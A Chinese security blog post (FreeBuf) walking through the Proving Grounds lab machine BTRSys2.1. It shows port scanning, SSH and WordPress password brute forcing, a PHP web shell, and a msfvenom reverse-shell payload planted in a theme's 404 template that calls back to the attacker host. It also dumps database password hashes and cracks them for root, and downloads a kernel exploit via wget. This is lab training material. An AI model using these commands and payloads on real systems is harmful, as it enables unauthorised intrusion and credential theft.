freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Proving Grounds靶场04-BTRSys2.1
2024-04-15 19:06:12

靶机信息

靶机:192.168.151.50 中途重启环境IP为:192.168.217.50

攻击机:192.168.45.173 中途重启环境IP为:192.168.45.215

难度:Intermediate

详细步骤

1、端口扫描&服务探测

端口扫描

发现开放21、22、80端口

sudo nmap -Pn -sS -T4 -p1-65535 192.168.151.50


image

服务探测

对21、22、80端口进行服务探测

sudo nmap -sT -sV -O -sC -p21,22,80 192.168.151.50

image

2、漏洞探测

21端口探测

searchsploit -t vsftpd 3.0.3 

image

未发现任何有价值的信息

22端口探测

searchsploit -t Openssh 7.2p2

image

未发现任何有价值的信息

尝试暴力破解,未成功。

hydra -l root -P /usr/share/wordlists/metasploit/password.lst  192.168.151.50 ssh -t4 -s 22

80端口探测

访问http://192.168.151.50,发现只是一张图片image

查看页面源码,未得到有价值的信息。

目录扫描

sudo dirsearch -u http://192.168.151.50

image

访问:http://192.168.151.50/CHANGELOG,没有可用信息,只发现lepton-cms

http://192.168.151.50/INSTALL,发现一写安装的配置信息,

image

后面发现有wordpress,直接访问http://192.168.151.50/wordpress/wp-login.php

对wordpress进行爆破

wpscan --url http://192.168.151.50:80/wordpress/ --enumerate ap,u,t

image

发现两个账户 btrisk、admin

image

将这两个账户制作成账户字典后进行爆破

wpscan --url http://192.168.151.50:80/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt

image

登录系统

使用admin\admin账户登录系统

GetShell

在互联网上查找wordpress的利用方法,发现:

WordPress可能存在GetShell点
● Media->Add New->上传Shell

● Appearance->Edit Themes->404Template->直接php反弹shell;

● Plugins->Add New->Upload Plugin->上传一个自己手写的插件

采用第一种方案(失败)

1、编辑shell脚本

sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell1.php
<?php
if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>

2、进行压缩,方便上传

zip shell.zip shell.php

3、上传插件,发现上传报错

image

以为是环境问题,重启靶机,IP变化如下

靶机:192.168.151.50 中途重启环境IP为:192.168.217.50

攻击机:192.168.45.173 中途重启环境IP为:192.168.45.215

采用第二种方案

使用msf生成php代码反弹shell

sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.45.215 lport=4444 -f raw 

复制payload到404Template,点击更新即可

image

运行msf,配置相应的参数

msfconsole 

设置php代码反弹shell监听载荷:

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp

设置ip地址与监听地址:

set lhost 192.168.45.215
set lport 4444

输入exploit运行

image

然后访问404页面

http://192.168.217.50/wordpress/wp-content/themes/twentyfourteen/404.php

成功拿到会话

image

3、内网渗透

FLAG1

通过查找服务器上文件,发现local.txt

cat local.txt

image

FLAG2

方式一

从wp的配置文件入手,查看文件中有无特别的信息

/var/www/html/wordpress

image

查看wp-config.php配置文件,发现数据库的配置文件

cat wp-config.php

image

尝试登录数据库,经过多次尝试

shell
mysql -u root -p -e "use wordpress; select * from wp_users;"

tips:

​-e​ 参数用于指定要执行的 SQL 查询,可以规避掉在Meterpreter的交互式 shell 中使用 use​ 命令时出现 use: not found​ 错误

得到疑似MD5

a318e4507e5a74604aafb45e4741edd3
21232f297a57a5a743894a0e4a801fc3

image

经过碰撞,得到root的密码为:roottoor

使用root账户登录,获取flag2

ssh root@192.168.217.50
roottoor
ls
cat proof.txt
411e412eac335ad5738b260a5180cc5c

方式二

通过收集内核版本,查找相关漏洞

searchsploit -t ubuntu 4.4  

image

复制脚本文件、编译

sudo cp /usr/share/exploitdb/exploits/linux/local/41458.c /opt/BTRSys2.1
udo gcc 41458.c

本地用python3开启http服务

sudo python3 -m http.server 80

靶机下载、编译文件

cd /tmp
wget http://192.168.45.215/a.out

image

赋予权限并执行

chmod 777 a.out

版本不兼容的问题

重新编译二进制文件,以便使用目标系统上可用的GLIBC版本。在编译过程中,你可以通过设置适当的编译选项来确保二进制文件与目标系统兼容。

image

# 漏洞 # 渗透测试 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录